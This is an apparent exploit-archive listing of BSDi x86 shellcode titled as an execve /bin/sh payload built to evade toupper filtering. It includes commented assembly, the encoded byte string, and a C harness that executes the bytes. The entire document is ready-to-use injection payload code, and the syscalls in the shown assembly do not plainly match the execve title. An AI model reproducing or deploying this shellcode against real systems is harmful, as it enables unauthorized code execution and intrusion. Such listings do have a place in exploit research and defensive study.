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bsdi/x86 execve /bin/sh toupper evasion 97 bytes
[================================================
bsdi/x86 execve /bin/sh toupper evasion 97 bytes
================================================
/*
BSDi shellcode
jmp 0x57
pop %esi
xor %ebx,%ebx
add $0x8,%ebx
add $0x2,%ebx
mov %bl,0x26(%esi)
xor %ebx,%ebx
add $0x23,%ebx
add $0x23,%ebx
mov %bl,0xffffffa8(%esi)
xor %ebx,%ebx
add $0x26,%ebx
add $0x30,%ebx
mov %bl,0xffffffc2(%esi)
xor %eax,%eax
mov %al,0xb(%esi)
mov %esi,%ebx
add $0x5,%eax
xor %ecx,%ecx
add $0x1,%ecx
xor %edx,%edx
int $0x80
mov %eax,%ebx
xor %eax,%eax
add $0x4,%eax
xor %edx,%edx
mov %dl,0x27(%esi)
mov %esi,%ecx
add $0xc,%ecx
add $0x1b,%edx
int $0x80
xor %eax,%eax
add $0x6,%eax
int $0x80
xor %eax,%eax
add $0x1,%eax
int $0x80
.string "BIN/SH"
*/
char code[] =
"\xeb\x57\x5e\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e"
"\x26\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8\x31"
"\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2\x31\xc0\x88"
"\x46\x0b\x89\xf3\x83\xc0\x05\x31\xc9\x83\xc1\x01\x31"
"\xd2\xcd\x80\x89\xc3\x31\xc0\x83\xc0\x04\x31\xd2\x88"
"\x56\x27\x89\xf1\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31"
"\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"BIN/SH";
main()
{
int (*f)();
f = (int (*)()) code;
printf("BSDi old shellcode, %d bytes\n", strlen(code));
(int)(*f)();
}
# 0day.today [2024-11-16] #